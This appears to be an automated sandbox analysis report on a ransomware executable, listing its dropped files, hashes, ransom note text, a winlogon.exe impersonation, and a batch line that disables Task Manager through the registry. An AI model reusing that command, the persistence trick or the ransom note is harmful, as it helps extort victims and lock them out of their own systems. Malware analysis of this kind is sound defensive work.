SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Saved Games\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.661174940916981
Encrypted:	false
SSDEEP:	12:enOnNTUx+p8XJZlm0KFU+clI+pikNq4SRsa07My5oODhh:eONgx28ZuruHNq4SRp0YyuOVh
MD5:	7DF71A3DC0507A6E61964A168C32D6CB
SHA1:	6BF8A8CD49EC86BDFEBD36BB21F68D8C130378F2
SHA-256:	1C6A9B422A2D3F3A70E9F24077C5A93BB804C67804A555F6640B6E61A69E0BC1
SHA-512:	5C0F3F4FA71CB770BCFBDE6D81A114CA58F0CEFEEBCF97EF5EEFB98FBA72CDA72599DBAE956B2EA95C1676174515C4749451A8BE8FD99A94DA4A443DA954EB45
Malicious:	false
Preview:	.......L-.......:.v,.Ehl&.k.0..!.q?..Ci.e........~R...x,..O.@../.V.s....y$...j.. ..sRhQ.........o.Z..q75.d..h.7.l.\|]..F]~.8......p..-.].&.(.-.Q.....@pS.`...Q..q.=..^Y..'.}.A..!P9..f....M.b...2B.r6.k.zHh....<,s...XsQou.d.n....5.SY!^..Q...Zg=.&.D.?H.&..Lu.X;...#....Q.W..o...1x..1.-.#..O.:.f ..~......;..NZ....j.tj..}).....z....H.......E.U..p.0.;!....~@.^'..u.d([?...=;`.V[W..(...F.A..wZ...3i.0..e...&..S.\!L.>.........[..oN...D.......3...I.vcG...A...r.sGz...........e.........x;.q..ZY..d..Sx..3j...B.]v.-..x........[

C:\Users\user\Searches\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Searches\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	780
Entropy (8bit):	7.759047833955805
Encrypted:	false
SSDEEP:	12:oo8+Oc8to1Di/B0OBKYd9jspqRtsojkhj0X8GKg64Vk1A38p+fD0tPwVgRWmyU1O:4+XFc/BqW0Gs8O2bh6A3hfDvqWmR1O
MD5:	ABEE39954FDBD681926D6E1291622498
SHA1:	C76E16F60280554FDABA12F05A39D9D0C1886101
SHA-256:	1CC835F9066B7D608309C759E9DAF6B322E5679F24F4576552D405577FB02E52
SHA-512:	B4B72BBBD32AB383DC2DEBFCF6D5172D18D082BCD50615DEEDF1593B8975125C8BE6D816FE9E674B36B4BBF1A94F782B9582EDAE0E48C0B1984AA396DD455ECE
Malicious:	false
Preview:	..X#?.(.h%.v......_.4..,..U\|.....UI.8....C.....#..p....J..3v..d..C~. .x....Q.g(Z`.>...1....L./m..p...9..,...vK..<5J. 7.=...........QquP..X.OW........Z.vU[.xW.Y.p..L..$.......o...=.$.....!.P....L.......4X.....V...I......&.......7..^^...........(...`.....F.(#.u....$...J....`.a.B.....f..J...xn..U.Y........ib...oBbu..W..TQ..U_.........W.t...S6n9......w.S.../l.z.A.a.r..z[h#9.....^j.MM.mQ.QN....!?...Z..#............\s .u?.Z..&+.....an.w.b.+...+.CT=.?)'....7k.....P.1..v....GK..g....L.....D/...,.N....7.@..s.xV.."...I=.TY..X...S.....k.u....>..g.O].....c..{.. ...{..].z....b.......6..g......6...._.N.......b...VR.....Fcd._.c.....w.Zn;/5...~Qp.I..E....i.E.D...~'.....9WW.d@o8..Q...#..v..1J~..6.............M....f.....B.4.1l..<(..)37Y...

C:\Users\user\Videos\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\Videos\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Videos\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.74524304159723
Encrypted:	false
SSDEEP:	12:NTKEuQVPClul47mEPlo1OvyOlUT0xVPWarPPuVjE0wiShNfB3G5EIhXV74ebKYw4:NTTuQVPpi7nlosvyOldC2PuVjpqNfBKX
MD5:	EC1EBD18A67DCC85E2A3B1D61E22E5D3
SHA1:	6FF0EE6313ABDE2B54BC420207A92B821E2C9872
SHA-256:	2A9070F027CE72FC1914267A8D94EA2DC34A813B3304AC030D17B0D39C6B255E
SHA-512:	E7C9DFDD131F70C87572FB6D5D2A32D18BE664BD02EF945DA2175A0C5B805E3C5F764890A7575730890B3635BF3C7DD2781BDD4111ED3ACA8140F78C61CCE1C8
Malicious:	false
Preview:	.{TB6{..>.Y..)...W.aD....>2.....X.`.....J>.=...!..S...{.vL...L.....tz.J......R......C........R..v<....?.`..kF....P.&1.......I.......\|..7..:.`\.^.n.pD..a..Z`....M~.].v....E.=J7.s.2..v[#.....n...J3.&........OE....`..h.&W.{..5..........N...gXA.....2.........-j..u.O..OLT.@'...p..R..5.:=.........6....lk.4T..U.....8.....r.3.Y...5s....1K..;.A......\..........P.....H.L...../n'x..z6)r.dW].<...a_y..i...o.\.i.x....k.g...&..G;.d'....Vw.Y.t.A....SCa.!...._.....~...j.P.L...........:.....KvK.~.w.G..u6Z.;.C\|!..(u..>D..X..H.Y.......Q..........0t.r..7...2......l...Hc4#....1....0y.....'..z..y..$.....\3.T.o..CI..'...+{?S...%.,....?'..6.......W....Z....Vq..yd~.`G......G....=.90......m..8,}C...L..9&...r...........T.&.]...m$e.f,u..d..

C:\Users\user\ntuser.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.236396230264728
Encrypted:	false
SSDEEP:	6:PSdMEsBip9DZJcCM0iOFMwFsBYhOLY4AedYMUe92A20UIA7qB:PS3sBUDsCH4wFSMOLaemn2X2d7qB
MD5:	B0C1EEE78B8FA9863CBBB8250BCCB708
SHA1:	672C30B3025D6E2E9C2A794C13D78C6AEC2F1DC0
SHA-256:	BDD50323868FAB3EB3C2F328BFC7D03EA11E69312FCC194BA78EC9528B6C728B
SHA-512:	EE0A2DDC9689A78CF94C3A26FADEB2982B71E5DB83A1CCA834948561E58DDCC0AB0325B191537FDC9CF5E87992D1DBCE9125FB4561C5BD656CCEC17404069F88
Malicious:	false
Preview:	.\.)...eW........b.h..1....c.2\\f..r..=....x/.w.0M.7.6Q...:..... ...9X.5..G..i...]'....K1..E..ba....c..H_.=.....c...zv.b...Y...n~..w.[ .4..W.p.D..5.n"....L..e>........T..\|.~ x..c........C.=.R....<j7-.[.%.mi7..>C.s.&d....h......O.;&.nF.x..".FK%.......j..........

C:\Windows\SysWOW64\Cpriv.Loki Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033072242901246
Encrypted:	false
SSDEEP:	48:DmIsmn8cB8jRyKzr+n2/BKSKZebf9d8W1hzTBBsyMlxKhFL7eez5RMN/entSaSGg:Dyml8/3+oXKZk9dr1hzTXMmPGEM/kaB
MD5:	68671F2E9E50E748B7875157E364C6C9
SHA1:	E05FD036E5FF08FB51B9379DBE66B40670B05599
SHA-256:	80AD66E006F2A01C4CA0362B7C3B0D0FA8E5D97DDA73992E3137EACE6267A432
SHA-512:	4B521CFA8656FBF539FD2113FAD86A423CB695BDC8369523CEFD913716FBE1B7DF7AA01858BE2784D2337A1BD4946FF0843376F3C2B717939EF7585D58DE9AD7
Malicious:	false
Preview:	GeLZL5N6oZm1SvzxrGfa6ujiI53yynrCnNq3lu99nVYqe2EQ8JI73wUkILAgw9pK1cDvahjr97Ue..YllkvVDBP4rSI1SAKX4K9Y8kXHapLqxVrY4ll+1j6L40+it1OTmfAhqdj3yhpOuFywDoVxGHaYXo..gSBuQ0uac54lu58afk+C8zZBBXYjpRav/IgYtVDFsjA3A1LvpSce2Udd2a4VD8rvQqtkxsGbe9jc..CMAiXiZMQqsNUHYIjmbi2vvXKbo/Pm044Xn8lggUJ7Pln7YmNZTmz72yhM4zH0XVCmpEIbrkJpcm..onU7bGnzjfZ0ea1zS8VO2YffeAXW7M4HwG3Rl4rRmVVCKF9CJZPRrzGi90RBBSacaQ07lMRYzoh+..w5pxWa1YVR7TIQjHNYxtmmC8AuzM9HkYNvG6Ne+mHt/Pwo7Gpc1lKPZ+fXKTEt9BVAse3Skw6KiD..8/cGDZ8HuuemgDUH7vhTS1JSckBdox4g7WSZGwKS4rN8qhekxzOIQV3EavrfRspxh1cziCfPeb80..xA/DXI/pDGQLEI/v7VlT6+FbN/ahpcNlpjuuBtuBAiRbnACF2ovvzVHrZ+QSwVlE9wNYmMTW9jA8..9UlisMLb2yXmWZuDEAV5QHGxt1pTG5AgiaGEu5H2r9avqIIQfa84HgCijE5xuLazP7xo6M/ClT1X..6gkb4W2B27WZuu+Yg/akIfmAuxDtzJz6cXFsMO3ZkmJsmw3DDgMfYGYasojqyl0hvO5s2AXMgKqr..dq/8MlvL27KSMKYNtwHABsoD7NILZWcdbuGqD3a0Yu1rIbiWZn2Il6qBwvHerNbH923Nwi90z2v0..CexZ5DOafoa1wRT6j0HNSjicxcEh9ff3bxs2W6X8vVTDquSOmEvEiNJsQBNB9KadBiNzHhe0NzF7..XdG1jjs2NeAxedoL57zrbtPNX8TMsozmCQiEwkvUGKoMaU5Ar1gx9rvKFUWvGzrt

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\winlogon.exe Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\wvtymcow.bat Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.948378132372253
Encrypted:	false
SSDEEP:	3:uBpwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:LtuH1jhRiI36BY
MD5:	3FC537B642D3756646715325299C6367
SHA1:	0A6B4D2012D44FE631DD8BF56DA001BFD04B99BB
SHA-256:	708511C356493E41CA103DB51B8DF3FB57898DDB2BB7CF4F11560FACDE9425ED
SHA-512:	7A290CD5A44AC4BA51D5B8AB6EA7BD2F2C392A1237C8B923267D524B2AB92E532E3C27DD21D96C3E89C5B84060F0E8EE2A4D9E59E21CFC8C3E15322C5334D064
Malicious:	false
Preview:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\winlogon.exe Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\bootTel.dat Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.303796729453296
Encrypted:	false
SSDEEP:	6:dNAOtE2UXIeB+pkgF1OOHCw9EsgUzmTPtqFvgN4NJC6zZWjbf+mKvRX00oqoqv:TDS2UXmkgF1OoCVjoFYNbGwj6mKp08v
MD5:	F3D7C832A40D5DBC0BF8C1C29E5FD08B
SHA1:	80238BA0C6B7343EB5498E4A17485BA47BF70266
SHA-256:	EAA12D9CD85F4C8A7A7E760C697B65BAE01BB0210EB1AD2C97BEEA7535B04115
SHA-512:	97C43D64E5AFAA733CBC3D8857D762663EB7DE3F3654428398D494C58DF5C959933403C58D27E59A9E3E91B7B19879A54A3533196EA96443A4749F1844FA3963
Malicious:	false
Preview:	.......E(W. %.z......>.GH.....xx.\q. .Z+..`.....<.\|.^r....c.Z.._=..K.!..I.L.?LR......=......m.s.R.}N..\|.\|K..a.}............S..W....."._>.%+...+m.3.]'f ...E...n.^.u.b.....N......}..o_....`....Y.."..^........Lp..YfZs...%G...]%..i'zZ.c.*..?....H w/........h0tND..old...0.^...l\|...1(..S...5..=.....k..=!...c...~4.3...1!J

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	313
Entropy (8bit):	4.971939296804078
Encrypted:	false
SSDEEP:	6:/ojfKsUTGN8Ypox42k9L+DbGMKeQE+vigqAZs2E+AYeDPO+Yswyha:wjPIGNrkHk9iaeIM6ADDPOHyha
MD5:	689E2126A85BF55121488295EE068FA1
SHA1:	09BAAA253A49D80C18326DFBCA106551EBF22DD6
SHA-256:	D968A966EF474068E41256321F77807A042F1965744633D37A203A705662EC25
SHA-512:	C3736A8FC7E6573FA1B26FE6A901C05EE85C55A4A276F8F569D9EADC9A58BEC507D1BB90DBF9EA62AE79A6783178C69304187D6B90441D82E46F5F56172B5C5C
Malicious:	false
Preview:	..IMPORTANT: Command executed successfully...However, "netsh firewall" is deprecated;..use "netsh advfirewall firewall" instead...For more information on using "netsh advfirewall firewall" commands..instead of "netsh firewall", see KB article 947709..at https://go.microsoft.com/fwlink/?linkid=121488 .....Ok.....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.3420684875502955
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Unlockpls.dr01@protonmail.com-1.exe
File size:	476160
MD5:	3504dd5ccaedef6d34d7e9090458e58b
SHA1:	7b73993fb07c0b16171bad449e49c9344ca87d6a
SHA256:	f2da3d1410c5058720a4307acf5fec7fc2b54285be9dd89eae108cce368dcde7
SHA512:	837d045dc044b881e969c0a4dbf34b178142733a26c38f38f56f442aab5e3bb3d2bad8094a00f99575ab4417a4bc04ebb669552d9704a32793a88e0df8e9e19e
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x47e08a
Entrypoint Section:	.RVA
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xAC62DE22 [Thu Aug 25 01:55:46 2061 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [0047E080h]
mov eax, 000007E0h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dh, cl
loopne 00007FEB1D26EE09h
add byte ptr [eax+000007E0h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, al
loopne 00007FEB1D26EE09h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi+43h], bl
outsd
jc 00007FEB1D26EE47h
js 00007FEB1D26EE67h
dec ebp
popad
imul ebp, dword ptr [esi+00h], 6F63736Dh
jc 00007FEB1D26EE67h
insb
insb
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7e090	0x4b	.RVA
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7a000	0x5a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7e080	0x8	.RVA
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2a000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
